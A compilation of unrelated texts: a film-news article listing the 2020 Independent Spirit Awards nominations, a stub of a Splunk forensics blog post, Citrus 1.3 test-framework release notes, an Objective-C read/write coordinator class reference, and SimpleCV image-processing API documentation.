2020 Independent Spirit Awards Nominations: ‘The Lighthouse’ and ‘Uncut Gems’ Lead the Pack with Five Nominations Each
by Ben PearsonThere’s no denying it: awards season is upon us. And this morning marked the arrival of the 2020 Independent Spirit Awards nominations, where A24’s The Lighthouse and Uncut Gems tied for the highest number of nominations with five each. Honey Boy also had a strong showing, locking down four noms, along with a movie called Give Me Liberty, which I’m embarrassed to admit I’ve never heard of until this very moment. Read the full list of nominees below.
The full list of nominees (via The Playlist) represents a solid group of talent (shout-out to Jonathan Majors in The Last Black Man in San Francisco), but there are still some gaps that I feel compelled to point out. Bong Joon-ho‘s Parasite was only nominated for Best International Film, and the same goes for Céline Sciamma‘s Portrait of a Lady on Fire. For my money, those are the top two movies of all of 2019, and the fact that they aren’t being recognized for things like screenplay, editing, cinematography, or any of its performances is baffling. A similar thing is true for Ari Aster‘s Midsommar: the film received one nomination for cinematography, but was shut out in every other category. No Florence Pugh? No best director nod for Aster? I’m pulling my hair out over here.
But this list did put Give Me Liberty on my radar, and I hope it does the same for you with films that you maybe haven’t heard of or ones that fell through the cracks for you as the year went on.
2020 Independent Spirit Award Nominees
BEST FEATURE
A Hidden Life
Producers: Elisabeth Bentley, Dario Bergesio, Grant Hill, Josh Jeter
Clemency
Producers: Timur Bekbosunov, Julian Cautherley, Bronwyn Cornelius, Peter Wong
The Farewell
Producers: Anita Gou, Daniele Melia, Andrew Miano, Peter Saraf, Marc Turtletaub, Lulu
Wang, Chris Weitz, Jane Zheng
Marriage Story
Producers: Noah Baumbach, David Heyman
Uncut Gems
Producers: Eli Bush, Sebastian Bear-McClard, Scott Rudin
BEST FIRST FEATURE
Booksmart
Director: Olivia Wilde
Producers: Chelsea Barnard, David Distenfeld, Jessica Elbaum, Megan Ellison,
Katie Silberman
The Climb
Director/Producer: Michael Angelo Covino
Producers: Noah Lang, Kyle Marvin
Diane
Director: Kent Jones
Producers: Luca Borghese, Ben Howe, Caroline Kaplan, Oren Moverman
The Last Black Man in San Francisco
Director/Producer: Joe Talbot
Producers: Dede Gardner, Jeremy Kleiner, Khaliah Neal, Christina Oh
The Mustang
Director: Laure de Clermont-Tonnerre
Producer: Ilan Goldman
See You Yesterday
Director: Stefon Bristol
Producer: Spike Lee
JOHN CASSAVETES AWARD – Given to the best feature made for under $500,000 (Award given to the writer, director and producer. Executive Producers are not awarded.)
Burning Cane
Writer/Director/Producer: Phillip Youmans
Producers: Ojo Akinlana, Jakob Johnson, Karen Kaia Livers, Mose Mayer,
Wendell Pierce, Isaac Webb, Cassandra Youmans
Colewell
Writer/Director: Tom Quinn
Producers: Joshua Blum, Alexandra Byer, Craig Shilowich, Matthew Thurm
Give Me Liberty
Writer/Director/Producer: Kirill Mikhanovsky
Writer/Producer: Alice Austen
Producers: Val Abel, Wally Hall, Michael Manasseri, George Rush, Sergey Shtern
Premature
Writer/Director/Producer: Rashaad Ernesto Green
Writer: Zora Howard
Producer: Darren Dean, Joy Ganes
Wild Nights With Emily
Writer/Director/Producer: Madeleine Olnek
Producers: Anna Margarita Albelo, Casper Andreas, Max Rifkind-Barron
BEST DIRECTOR
Alma Har’el
Honey Boy
Lorene Scafaria
Hustlers
Julius Onah
Luce
Robert Eggers
The Lighthouse
Benny Safdie & Josh Safdie
Uncut Gems
BEST SCREENPLAY
Noah Baumbach
Marriage Story
Jason Begue, Shawn Snyder
To Dust
Ronald Bronstein & Benny Safdie & Josh Safdie
Uncut Gems
Chinonye Chukwu
Clemency
Tarell Alvin McCraney
High Flying Bird
BEST FIRST SCREENPLAY
Fredrica Bailey & Stefon Bristol
See You Yesterday
Hannah Bos & Paul Thureen
Driveways
Bridget Savage Cole & Danielle Krudy
Blow the Man Down
Jocelyn DeBoer & Dawn Luebbe
Greener Grass
James Montague & Craig W. Sanger
The Vast of Night
BEST CINEMATOGRAPHY
Todd Banhazl
Hustlers
Jarin Blaschke
The Lighthouse
Natasha Braier
Honey Boy
Chananun Chotrungroj
The Third Wife
Pawel Pogorzelski
Midsommar
BEST EDITING
Julie Béziau
The Third Wife
Ronald Bronstein & Benny Safdie
Uncut Gems
Tyler L. Cook
Sword of Trust
Louise Ford
The Lighthouse
Kirill Mikhanovsky
Give Me Liberty
BEST FEMALE LEAD
Karen Allen
Colewell
Hong Chau
Driveways
Elisabeth Moss
Her Smell
Mary Kay Place
Diane
Alfre Woodard
Clemency
Renée Zellweger
Judy
BEST MALE LEAD
Chris Galust
Give Me Liberty
Kelvin Harrison Jr.
Luce
Robert Pattinson
The Lighthouse
Matthias Schoenaerts
The Mustang
Adam Sandler
Uncut Gems
BEST SUPPORTING FEMALE
Jennifer Lopez
Hustlers
Taylor Russell
Waves
Lauren “LoLo” Spencer
Give Me Liberty
Octavia Spencer
Luce
Zhao Shuzhen
The Farewell
BEST SUPPORTING MALE
Willem Dafoe
The Lighthouse
Noah Jupe
Honey Boy
Shia LaBeouf
Honey Boy
Jonathan Majors
The Last Black Man in San Francisco
Wendell Pierce
Burning Cane
ROBERT ALTMAN AWARD – Given to one film’s director, casting director and ensemble cast
Marriage Story
Director: Noah Baumbach
Casting Directors: Douglas Aibel, Francine Maisler
Ensemble Cast: Alan Alda, Laura Dern, Adam Driver, Julie Hagerty, Scarlett Johansson,
Ray Liotta, Azhy Robertson, Merritt Wever
BEST DOCUMENTARY (Award given to the director and producer)
American Factory
Director/Producer: Steven Bognar & Julia Reichert
Producers: Julie Parker Benello, Jeff Reichert
Apollo 11
Director/Producer: Todd Douglas Miller
Producers: Evan Krauss, Thomas Baxley Petersen
For Sama
Director: Edward Watts
Director/Producer: Waad al-Kateab
Honeyland
Director: Tamara Kotevska
Director/Producer: Ljubo Stefanov
Producer: Atanas Georgiev
Island of the Hungry Ghosts
Director/Producer: Gabrielle Brady
Producers: Gizem Acarla, Samm Haillay, Alex Kelly, Alexander Wadouh
BEST INTERNATIONAL FILM (Award given to the director)
Invisible Life
Brazil
Director: Karim Aïnouz
Les Misérables
France
Director: Ladj Ly
Parasite
South Korea
Director: Bong Joon-Ho
Portrait of a Lady on Fire
France
Director: Céline Sciamma
Retablo
Peru
Director: Álvaro Delgado-Aparicio L.
The Souvenir
United Kingdom
Director: Joanna Hogg
BONNIE AWARD – Bonnie Tiburzi Caputo joined American Airlines in 1973 at age 24, becoming the first female pilot to fly for a major U.S. airline. In her honor, the third Bonnie Award will recognize a mid-career female director with a $50,000 unrestricted grant, sponsored by American Airlines.
Marielle Heller
Kelly Reichardt
Lulu Wang
PRODUCERS AWARD – The 23rd annual Producers Award honors emerging producers who, despite highly limited resources, demonstrate the creativity, tenacity and vision required to produce quality, independent films. The award includes a $25,000 unrestricted grant.
Mollye Asher
Krista Parris
Ryan Zacarias
SOMEONE TO WATCH AWARD – The 26th annual Someone to Watch Award recognizes a talented filmmaker of singular vision who has not yet received appropriate recognition. The award includes a $25,000 unrestricted grant.
Rashaad Ernesto Green
Director of Premature
Ash Mayfair
Director of The Third Wife
Joe Talbot
Director of The Last Black Man in San Francisco
TRUER THAN FICTION AWARD – The 25th annual Truer Than Fiction Award is presented to an emerging director of non-fiction features who has not yet received significant recognition. The award includes a $25,000 unrestricted grant.
Khalik Allah
Director of Black Mother
Davy Rothbart
Director of 17 Blocks
Nadia Shihab
Director of Jaddoland
Erick Stoll & Chase Whiteside
Director of América


---
layout: post
title: Splunk for Digital Investigations
date: '2014-08-18T22:10:00.003+09:00'
author: Joshua James
tags:
modified_time: '2014-08-18T22:10:56.194+09:00'
blogger_id: tag:blogger.com,1999:blog-2701259639305045003.post-6292130643701344357
blogger_orig_url: http://www.cybercrimetech.com/2014/08/splunk-for-digital-investigations.html
---
Install Splunk:


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@CitrusTest and @CitrusXmlTest annotations
With the new Java DSL capabilities Citrus created new ways of executing test cases within a TestNG or JUnit test class. Now we even improved the usage here with two new annotations @CitrusTest and CitrusXmlTest. The integration into the unit test class has never been easier for you.
The new Citrus annotations go directly to your unit test methods. With this enhancement you can have multiple Citrus test cases in one single Java class and the Citrus tests now are able to coexist with other unit test methods. You can even mix Java DSL and XML Citrus test cases in a single Java class.
The XML Citrus tests can be grouped to a single Java class with multiple XML files loaded during execution. There is even a package scan for all Citrus XML files within a directory structure so you do not have to create a Java class for each test case anymore.
We have changed the documentation in this guide so you can see how to use the new annotations. For detailed overview see ???. Also see our Citrus blog where we continuously describe the many possibilities that you have with the new annotations.
@CitrusParameters annotation
Citrus is able to use the fabulous TestNG data provider capabilities in order to execute a test case several times with different data provided form external resources. The new @CitrusParameters annotation helps to set parameter names which are used as test variable names in the test case.
Schema repository configuration components
Defining schema repositories and schemas (xsd, wsdl) is common use in Citrus. We have added XML bean definition parsers so defining those components is less verbose. You can use the Citrus citrus:schema-repository and citrus:schema components in your Spring application context configuration. The components do receive several attributes for further configuration. XSD, WSDL and schema collections are supported here.
Checkout ??? for examples how to use the new configuration components.
Change date function
We have added a new Citrus function citrus:changeDate() that is available for you by default. The function changes a given date value adding or removing a datetime offset (e.g. year, month, day, hour, minute, second). So you can manipulate each date value also those of dynamic nature coming with some message.
See Section 33.29, “citrus:changeDate()” for examples and detailed syntax usage of this function.
Weekday validation matcher
The new weekday validation matcher also works on date values. The matcher checks that a given date value evaluates to a expected day of the week. So the user can check that a date field is always a saturday for instance. This is very helpful when checking that a given date value is not a working day for example.
See Section 34.11, “isWeekday()” for some more detailed description of the matcher’s capabilities.
Java DSL
Citrus users, in particular those with development experience, do often tell me about the nasty XML code they have to deal with for writing Citrus test definitions. Developers want to write Java code rather than XML. Although I personally do like the Citrus XML test syntax we have introduced a Java DSL language for writing Citrus tests with Java only.
We have introduced the Java DSL to all major test action features in Citrus so you can switch without having to worry about loosing functionality. Details can be seen in the test action section where we added Java DSL examples almost everywhere (Chapter 12, Test actions). The basic Java DSL setup is described in Chapter 4, Test cases.
XHTML message validation
Message validation for Html code was not really comfortable as Html does not confirm to be wellformed and valid XML syntax. XHTML tries to close this gap by automatically resolving all Html specific XML syntax rule violations. With Citrus 1.3 we introduced a XHTML message validator which does the magic for converting Html code to proper wellformed and valid XML. In a test case you can then use the full XML validation power in Citrus in order to validate incoming Html messages. Section Section 9.4, “XHTML message validation” deals with the new validation capabilities for Html.
Multiple SOAP fault detail support
SOAP fault messages can hold many SOAP fault detail elements. Citrus was able to handle a single SOAP fault detail on sending and receiving test actions from the very beginning but multiple SOAP fault detail elements were not supported. Fortunately things are getting better and you can send and receive as many fault detail elements as you like in Citrus 1.3. For each SOAP fault detail you can specify individual validation rules and expectations. See Section 19.7, “SOAP faults” for detailed description.
Jetty server security handler
With our Jetty server component you can set up Http mock servers very easy. The server is automatically configured to accept Http client connections and to load a Spring application context on startup. Now you can also set some more details on this automatic server configuration (e.g. server context path, servlet names or servlet mappings). In addition to that you can access the security context of the web container. This enables you to set up security constraints such as basic authentication on server resources. Clients are then forced to authenticate properly when accessing the server. Unauthorized users will get 401 access denied errors immediately. See Section 17.7, “HTTP server basic authentication” for details. Of course this also applies to our SOAP WebService Jetty server components (Section 19.11, “SOAP server basic authentication”).
Test actors
We introduced a new concept of test actors for sending and receiving test actions. This enables you to link a test actor (e.g. interface partner application, backend application) to a test action in your test. Following from that you can enable/disable test actors and all linked test actions very easy. This enables us to reuse Citrus test cases in end-to-end test scenarios where not all interface partners get simulated by Citrus. If you like to read more about this concept follow the detailed instruction in Chapter 36, Test actors.
Simulate Http error codes with SOAP
Citrus provides SOAP WebServices server simulation with clients connecting to the server sending SOAP requests. As a server Citrus is now able to simulate Http error codes like 404 Not found and 500 Internal server error. Before that the Citrus SOAP server had to always respond with a proper SOAP response or SOAP fault. See Section 19.8, “Send HTTP error codes with SOAP” for details.
SSH server and client
The Citrus family has raised a new member in adding SSH connectivity. With the new SSH module you are able to provide a full stack SSH server. The SSH server accepts client connections and you as a tester can simulate any SSH server functionality with proper validation as it is known to Citrus SOAP and HTTP modules. In addition to that you can also use the Citrus SSH client in order to connect to an external SSH server. You can execute SSH commands on the SSH server and validate the respective response data. The full description is provided in Chapter 28, SSH support.
ANT run test action
With this new test action you can call ANT builds from your test case. The action executes one or more ANT build targets on a build.xml file. You can specify build properties that get passed to the ANT build and you can add a custom build listener. In case the ANT build run fails the test fails accordingly with the build exception. See Section 12.22, “Running Apache Ant build targets” for details.
Polling interval for reply handlers
With synchronous communication in Citrus we always have a combination of a synchronous message sender and a reply handler component. These two perform a handshake when passing synchronous reply messages to the test for further processing such as message validation. While the sender is waiting for the synchronous response to arrive the reply handler polls for the reply message. This polling for reply messages was done in a static way which often led to time delays according to long polling intervals. Now with Citrus 1.3 you can set the polling-interval for the reply handler as you like. This setting is valid for all reply handler components in Citrus (citrus-jms, citrus-http, citrus-ws, citrus-channel, citrus-shh, and so on).
Upgrading from version 1.2
If you are coming from Citrus 1.2 you may have to look at the following points in order to have a smooth upgrade to the new release version.
- Jetty version upgrade We are using Jetty a lot for starting Http server mocks within Citrus. In order to stay up to date we upgraded to Jetty 8.1.7 version with this Citrus release. This implies that package names did change for Jetty API. In general there is no conflict for you as a Citrus user, but you may want to adjust your logging configuration according to new Jetty packages. Jetty package names did change from ord.mortbay to org.eclipse.jetty.
- Spring version upgrade Staying up to date with the versions of 3rd library dependencies is quite important for us. So we upgrade our dependencies to newer versions with each release. As we did only upgrade minor versions there is no significant change or problems to be expected. However you may take care on versions and release changes in the Spring world for details and migration.
- TIBCO module We decided to put the TIBCO module separately as it is a very special connectivity adapter for TIBCO software only. So you will not find the TIBCO module within the Citrus distribution anymore. We will maintain a TIBCO connectivity adapter separately in the future.


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Metaplayer » UI Base Plugin
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Empty Div:
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MBConcurrentReadWriteCoordinator Class Reference
| Inherits from | NSObject |
|---|---|
| Declared in | MBConcurrentReadWriteCoordinator.h |
Overview
The MBConcurrentReadWriteCoordinator
uses Grand Central Dispatch to provide
an efficient mechanism for enforcing orderly read/write access to a shared
resource.
The coordinator ensures that concurrent access to the shared resource follows these rules:
A read operation never executes at the same time as a write operation
Multiple read operations may execute simultaneously
Only one write operation may be executing at any given time
Read operations occur synchronously
Write operations occur asynchronously
Because of the underlying GCD mechanism used, when used properly, the implementation ensures serial order with respect to reads and writes. That is, a call to perform a read operation will always return the results of the most-recently enqueued write operation.
– read:
Synchronously executes the read operation contained in the passed-in block. If a writer is executing when this method is called, the calling thread will be blocked until writing finishes. Multiple readers may execute simultaneously.
- (void)read:(nonnull void ( ^ ) ( ))readOperation
Parameters
readOperation |
The read operation. |
|---|
Declared In
MBConcurrentReadWriteCoordinator.h
– enqueueWrite:
Enqueues a write operation for eventual execution. The passed-in block will be executed only when there are no other readers or writers.
- (void)enqueueWrite:(nonnull void ( ^ ) ( ))writeOperation
Parameters
writeOperation |
The write operation. |
|---|
Discussion
Any calls to the receiver’s read:
method that are issued after a call
to enqueueWrite:
are guaranteed to execute after its writeOperation
block finishes executing. This ensures that reads and writes can occur in
a predictable order.
Declared In
MBConcurrentReadWriteCoordinator.h


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Bases: SimpleCV.Camera.FrameSource
The Camera class is the class for managing input from a basic camera. Note that once the camera is initialized, it will be locked from being used by other processes. You can check manually if you have compatable devices on linux by looking for /dev/video* devices.
This class wrappers OpenCV’s cvCapture class and associated methods. Read up on OpenCV’s CaptureFromCAM method for more details if you need finer control than just basic frame retrieval
Retrieve an Image-object from the camera. If you experience problems with stale frames from the camera’s hardware buffer, increase the flushcache number to dequeue multiple frames before retrieval
We’re working on how to solve this problem.
Bases: threading.Thread
This is a helper thread which continually debuffers the camera frames. If you don’t do this, cameras may constantly give you a frame behind, which causes problems at low sample rates. This makes sure the frames returned by your camera are fresh.
An abstract Camera-type class, for handling multiple types of video input. Any sources of images inheirit from it
Camera calibration will help remove distortion and fisheye effects It is agnostic of the imagery source, and can be used with any camera
imageList is a list of images of color calibration images.
grid_sz - is the actual grid size of the calibration grid, the unit used will be the calibration unit value (i.e. if in doubt use meters, or U.S. standard)
dimensions - is the the count of the interior corners in the calibration grid. So for a grid where there are 4x4 black grid squares has seven interior corners.
The easiest way to run calibration is to run the calibrate.py file under the tools directory for SimpleCV. This will walk you through the calibration process.
Load a calibration matrix from file. The filename should be the stem of the calibration files names. e.g. If the calibration files are MyWebcamIntrinsic.xml and MyWebcamDistortion.xml then load the calibration file “MyWebcam”
Returns true if the file was successful loaded, false otherwise.
If given an image, apply the undistortion given my the camera’s matrix and return the result
If given a 1xN 2D cvmat or a 2xN numpy array, it will un-distort points of measurement and return them in the original coordinate system.
Bases: SimpleCV.Camera.FrameSource
The JpegStreamCamera takes a URL of a JPEG stream and treats it like a camera. The current frame can always be accessed with getImage()
Requires the [Python Imaging Library](http://www.pythonware.com/library/pil/handbook/index.htm)
Bases: threading.Thread
Threaded class for pulling down JPEG streams and breaking up the images
Bases: SimpleCV.Camera.FrameSource
This is an experimental wrapper for the Freenect python libraries you can getImage() and getDepth() for separate channel images
Bases: SimpleCV.Camera.FrameSource
The virtual camera lets you test algorithms or functions by providing a Camera object which is not a physically connected device.
Currently, VirtualCamera supports “image” and “video” source types.
Color is a class that stores commonly used colors in a simple and easy to remember format, instead of requiring you to remember a colors specific RGB value.
To use the color in your code you type: Color.RED
To use Red, for instance if you want to do a line.draw(Color.RED)
ColorCurve is a color spline class for performing color correction. It can takeas parameters a SciPy Univariate spline, or an array with at least 4 point pairs. Either of these must map in a 255x255 space. The curve can then be used in the applyRGBCurve, applyHSVCurve, and applyInstensityCurve functions:
clr = ColorCurve([[0,0], [100, 120], [180, 230], [255, 255]])
image.applyIntensityCurve(clr)
the only property, mCurve is a linear array with 256 elements from 0 to 255
A color map takes a start and end point in 3D space and lets you map a range of values to it. Using the colormap like an array gives you the mapped color.
This is useful for color coding elements by an attribute:
blobs = image.findBlobs()
cm = ColorMap(startcolor = Color.RED, endcolor = Color.Blue,
startmap = min(blobs.area()) , endmap = max(blobs.area())
for b in blobs:
b.draw(cm[b.area()])
The color model is used to model the color of foreground and background objects by using a a training set of images.
You can create the color model with any number of “training” images, or add images to the model with add() and remove(). Then for your data images, you can useThresholdImage() to return a segmented picture.
WindowStream opens a window (Pygame Display Surface) to which you can write images. The default resolution is 640, 480 – but you can also specify 0,0 which will maximize the display. Flags are pygame constants, including:
By default display will attempt to scale the input image to fit neatly on the screen with minimal distorition. This means that if the aspect ratio matches the screen it will scale cleanly. If your image does not match the screen aspect ratio we will scale it to fit nicely while maintining its natural aspect ratio.
Because SimpleCV performs this scaling there are two sets of input mouse coordinates, the (mousex,mousey) which scale to the image, and (mouseRawX, mouseRawY) which do are the actual screen coordinates.
pygame.FULLSCREEN create a fullscreen display pygame.DOUBLEBUF recommended for HWSURFACE or OPENGL pygame.HWSURFACE hardware accelerated, only in FULLSCREEN pygame.OPENGL create an opengl renderable display pygame.RESIZABLE display window should be sizeable pygame.NOFRAME display window will have no border or controls
Display should be used in a while loop with the isDone() method, which checks events and sets the following internal state controls:
mouseX - the x position of the mouse cursor on the input image mouseY - the y position of the mouse curson on the input image mouseRawX - The position of the mouse on the screen mouseRawY - The position of the mouse on the screen
NOTE!!!!!!!!!!!!!!!! The mouse position on the screen is not the mouse position on the image. If you are trying to draw on the image or take in coordinates use mousex and mousey as these values are scaled along with the image.
mouseLeft - the state of the left button mouseRight - the state of the right button mouseMiddle - the state of the middle button mouseWheelUp - if the wheel has been clicked towards the top of the mouse mouseWheelDown - if the wheel has been clicked towards the bottom of the mouse Example: >>> display = Display(resolution = (800, 600)) #create a new display to draw images on >>> cam = Camera() #initialize the camera >>> done = False # setup boolean to stop the program
# Loop until not needed while not display.isDone():
cam.getImage().flipHorizontal().save(display) # get image, flip it so it looks mirrored, save to display time.sleep(0.01) # Let the program sleep for 1 millisecond so the computer can do other things if display.mouseLeft:
display.done = True
writeFrame copies the given Image object to the display, you can also use Image.save()
Write frame trys to fit the image to the display with the minimum ammount of distortion possible. When fit=True write frame will decide how to scale the image such that the aspect ratio is maintained and the smallest amount of distorition possible is completed. This means the axis that has the minimum scaling needed will be shrunk or enlarged to match the display.
When fit=False write frame will crop and center the image as best it can. If the image is too big it is cropped and centered. If it is too small it is centered. If it is too big along one axis that axis is cropped and the other axis is centered if necessary.
DrawingLayer gives you a way to mark up Image classes without changing the image data itself. This class wraps pygame’s Surface class and provides basic drawing and text rendering functions
Example: image = Image(“/path/to/image.png”) image2 = Image(“/path/to/image2.png”) image.dl().blit(image2) #write image 2 on top of image
Draw a bezier curve based on a control point and the a number of stapes
Blit one image onto the drawing layer at upper left coordinates
Draw a rectangle given the center (x,y) of the rectangle and dimensions (width, height)
- color - The object’s color as a simple CVColor object, if no value is sepcified
- the default is used.
- alpha - The alpha blending for the object. If this value is -1 then the
- layer default value is used. A value of 255 means opaque, while 0 means transparent.
w - The line width in pixels. This does not work if antialiasing is enabled.
filled -The rectangle is filled in
Draw a circle given a location and a radius.
width - The line width in pixels. This does not work if antialiasing is enabled.
filled -The object is filled in
Draw an ellipse given a location and a dimensions.
width - The line width in pixels. This does not work if antialiasing is enabled.
filled -The object is filled in
ezViewText works just like text but it sets both the foreground and background color and overwrites the image pixels. Use this method to make easily viewable text on a dynamic video stream.
fgcolor - The color of the text.
bgcolor - The background color for the text are.
Draw a single line from the (x,y) tuple start to the (x,y) tuple stop. Optional parameters:
width - The line width in pixels.
antialias - Draw an antialiased object of width one.
Draw a set of lines from the list of (x,y) tuples points. Lines are draw between each successive pair of points.
Optional parameters:
width - The line width in pixels.
antialias - Draw an antialiased object of width one.
Draw a polygon from a list of (x,y)
width - The width in pixels. This does not work if antialiasing is enabled.
filled -The object is filled in
antialias - Draw the edges of the object antialiased. Note this does not work when the object is filled.
Draw a rectangle given the topLeft the (x,y) coordinate of the top left corner and dimensions (w,h) tge width and height
w - The line width in pixels. This does not work if antialiasing is enabled.
filled -The rectangle is filled in
Draw a rectangle given two (x,y) points
w - The line width in pixels. This does not work if antialiasing is enabled.
filled -The rectangle is filled in
Add this layer to another layer.
Blit this layer to another surface.
This method allows you to set the surface manually.
This method sets the default rendering color.
This method sets the font size roughly in points. A size of 10 is almost too small to read. A size of 20 is roughly 10 pixels high and a good choice.
sprite draws a sprite (a second small image) onto the current layer. The sprite can be loaded directly from a supported image file like a gif, jpg, bmp, or png, or loaded as a surface or SCV image.
pos - the (x,y) position of the upper left hand corner of the sprite
scale - a scale multiplier as a float value. E.g. 1.1 makes the sprite 10% bigger
rot = a rotation angle in degrees
alpha = an alpha value 255=opaque 0=transparent.
Write the a text string at a given location
text - A text string to print.
location-The location to place the top right corner of the text
The Font class allows you to create a font object to be used in drawing or writing to images. There are some defaults available, to see them, just type Font.printFonts()
Get the font from the object to be used in drawing
Returns: PIL Image Font
Gets the size of the current font
Returns: Integer
The Image class is the heart of SimpleCV and allows you to convert to and from a number of source types with ease. It also has intelligent buffer management, so that modified copies of the Image required for algorithms such as edge detection, etc can be cached and reused when appropriate.
Image are converted into 8-bit, 3-channel images in RGB colorspace. It will automatically handle conversion from other representations into this standard format. If dimensions are passed, an empty image is created.
Examples: >>> i = Image(“/path/to/image.png”) >>> i = Camera().getImage()
You can also just load the SimpleCV logo using: >>> img = Image(“simplecv”) >>> img = Image(“logo”) >>> img = Image(“logo_inverted”) >>> img = Image(“logo_transparent”) >>> img = Image(“barcode”)
Or you can load an image from a URL: >>> img = Image(“http://www.simplecv.org/image.png“)
Adapative Scale is used in the Display to automatically adjust image size to match the display size.
This is typically used in this instance: >>> d = Display((800,600)) >>> i = Image((640, 480)) >>> i.save(d)
Where this would scale the image to match the display size of 800x600
Push a new drawing layer onto the back of the layer stack
Apply 3 ColorCurve corrections applied in HSL space Parameters are: * Hue ColorCurve * Lightness (brightness/value) ColorCurve * Saturation ColorCurve
Returns: IMAGE
Intensity applied to all three color channels
Render all of the layers onto the current image and return the result. Indicies can be a list of integers specifying the layers to be used.
Apply 3 ColorCurve corrections applied in rgb channels Parameters are: * Red ColorCurve * Green ColorCurve * Blue ColorCurve
Returns: IMAGE
Do a binary threshold the image, changing all values above thresh to maxv and all below to black. If a color tuple is provided, each color channel is thresholded separately.
If threshold is -1 (default), an adaptive method (OTSU’s method) is used. If then a blocksize is specified, a moving average over each region of block*block pixels a threshold is applied where threshold = local_mean - p.
Take image and copy it into this image at the specified to image and return the result. If pos+img.sz exceeds the size of this image then img is cropped. Pos is the top left corner of the input image
Returns an image representing the distance of each pixel from a given color tuple, scaled between 0 (the given color) and 255. Pixels distant from the given tuple will appear as brighter and pixels closest to the target color will be darker.
By default this will give image intensity (distance from pure black)
Convolution performs a shape change on an image. It is similiar to something like a dilate. You pass it a kernel in the form of a list, np.array, or cvMat
example: >>> img = Image(“sampleimages/simplecv.png”) >>> kernel = [[1,0,0],[0,1,0],[0,0,1]] >>> conv = img.convolve()
Return a full copy of the Image’s bitmap. Note that this is different from using python’s implicit copy function in that only the bitmap itself is copied.
Returns: IMAGE
Crop attempts to use the x and y position variables and the w and h width and height variables to crop the image. When centered is false, x and y define the top and left of the cropped rectangle. When centered is true the function uses x and y as the centroid of the cropped region.
You can also pass a feature into crop and have it automatically return the cropped image within the bounding outside area of that feature
Apply a morphological dilation. An dilation has the effect of smoothing blobs while intensifying the amount of noise blobs. This implementation uses the default openCV 3X3 square kernel Erosion is effectively a local maxima detector, the kernel moves over the image and takes the maxima value inside the kernel.
iterations - this parameters is the number of times to apply/reapply the operation
See: http://en.wikipedia.org/wiki/Dilation_(morphology) See: http://opencv.willowgarage.com/documentation/cpp/image_filtering.html#cv-dilate Example Use: A part’s blob needs to be smoother Example Code: ./examples/MorphologyExample.py
Draw a circle on the Image, parameters include: * the center of the circle * the radius in pixels * a color tuple (default black) * the thickness of the circle
Note that this function is depricated, try to use DrawingLayer.circle() instead
Returns: NONE - Inline Operation
Draw a line on the Image, parameters include * pt1 - the first point for the line (tuple) * pt1 - the second point on the line (tuple) * a color tuple (default black) * thickness of the line
Note that this modifies the image in-place and clears all buffers.
Returns: NONE - Inline Operation
This function draws the string that is passed on the screen at the specified coordinates
The Default Color is blue but you can pass it various colors The text will default to the center of the screen if you don’t pass it a value
Finds an edge map Image using the Canny edge detection method. Edges will be brighter than the surrounding area.
The t1 parameter is roughly the “strength” of the edge required, and the value between t1 and t2 is used for edge linking. For more information:
<http://opencv.willowgarage.com/documentation/python/imgproc_feature_detection.html> <http://en.wikipedia.org/wiki/Canny_edge_detector>
Apply a morphological erosion. An erosion has the effect of removing small bits of noise and smothing blobs. This implementation uses the default openCV 3X3 square kernel Erosion is effectively a local minima detector, the kernel moves over the image and takes the minimum value inside the kernel. iterations - this parameters is the number of times to apply/reapply the operation See: http://en.wikipedia.org/wiki/Erosion_(morphology). See: http://opencv.willowgarage.com/documentation/cpp/image_filtering.html#cv-erode Example Use: A threshold/blob image has ‘salt and pepper’ noise. Example Code: ./examples/MorphologyExample.py
If you have the python-zxing library installed, you can find 2d and 1d barcodes in your image. These are returned as Barcode feature objects in a FeatureSet. The single parameter is the ZXing_path, if you don’t have the ZXING_LIBRARY env parameter set.
You can clone python-zxing at http://github.com/oostendo/python-zxing
Returns: BARCODE
This will look for continuous light regions and return them as Blob features in a FeatureSet. Parameters specify the binarize filter threshold value, and minimum and maximum size for blobs. If a threshold value is -1, it will use an adaptive threshold. See binarize() for more information about thresholding. The threshblocksize and threshconstant parameters are only used for adaptive threshold.
Note that this previously used cvblob and the python-cvblob library, which is no longer necessary
Returns: FEATURESET
Given an image, finds a chessboard within that image. Returns the Chessboard featureset. The Chessboard is typically used for calibration because of its evenly spaced corners.
The single parameter is the dimensions of the chessboard, typical one can be found in SimpleCV oolsCalibGrid.png
This will find corner Feature objects and return them as a FeatureSet strongest corners first. The parameters give the number of corners to look for, the minimum quality of the corner feature, and the minimum distance between corners.
Returns: FEATURESET
Standard Test: >>> img = Image(“sampleimages/simplecv.png”) >>> corners = img.findCorners() >>> if corners: True True
Validation Test: >>> img = Image(“sampleimages/black.png”) >>> corners = img.findCorners() >>> if not corners: True True
If you want to find Haar Features (useful for face detection among other purposes) this will return Haar feature objects in a FeatureSet. The parameters are: * the scaling factor for subsequent rounds of the haar cascade (default 1.2)7 * the minimum number of rectangles that makes up an object (default 2) * whether or not to use Canny pruning to reject areas with too many edges (default yes, set to 0 to disable)
For more information, consult the cv.HaarDetectObjects documentation
You will need to provide your own cascade file - these are usually found in /usr/local/share/opencv/haarcascades and specify a number of body parts.
Note that the cascade parameter can be either a filename, or a HaarCascade loaded with cv.Load().
Returns: FEATURESET
findLines will find line segments in your image and returns Line feature objects in a FeatureSet. The parameters are: * threshold, which determies the minimum “strength” of the line * min line length – how many pixels long the line must be to be returned * max line gap – how much gap is allowed between line segments to consider them the same line * cannyth1 and cannyth2 are thresholds used in the edge detection step, refer to _getEdgeMap() for details
For more information, consult the cv.HoughLines2 documentation
This function searches an image for a template image. The template image is a smaller image that is searched for in the bigger image. This is a basic pattern finder in an image. This uses the standard OpenCV template (pattern) matching and cannot handle scaling or rotation
Template matching returns a match score for every pixel in the image. Often pixels that are near to each other and a close match to the template are returned as a match. If the threshold is set too low expect to get a huge number of values. The threshold parameter is in terms of the number of standard deviations from the mean match value you are looking
For example, matches that are above three standard deviations will return 0.1% of the pixels. In a 800x600 image this means there will be 800*600*0.001 = 480 matches.
This method returns the locations of wherever it finds a match above a threshold. Because of how template matching works, very often multiple instances of the template overlap significantly. The best approach is to find the centroid of all of these values. We suggest using an iterative k-means approach to find the centroids.
Example: >>> image = Image(“/path/to/img.png”) >>> pattern_image = image.crop(100,100,100,100)
>>> found_patterns = image.findTemplate(pattern_image)
>>> found_patterns.draw()
>>> image.show()
Horizontally mirror an image Note that flip does not mean rotate 180 degrees! The two are different.
Returns: IMAGE
Vertically mirror an image Note that flip does not mean rotate 180 degrees! The two are different.
Returns: IMAGE
Returns the value matched in the color space class so for instance you would use if(image.getColorSpace() == ColorSpace.RGB)
RETURNS: Integer
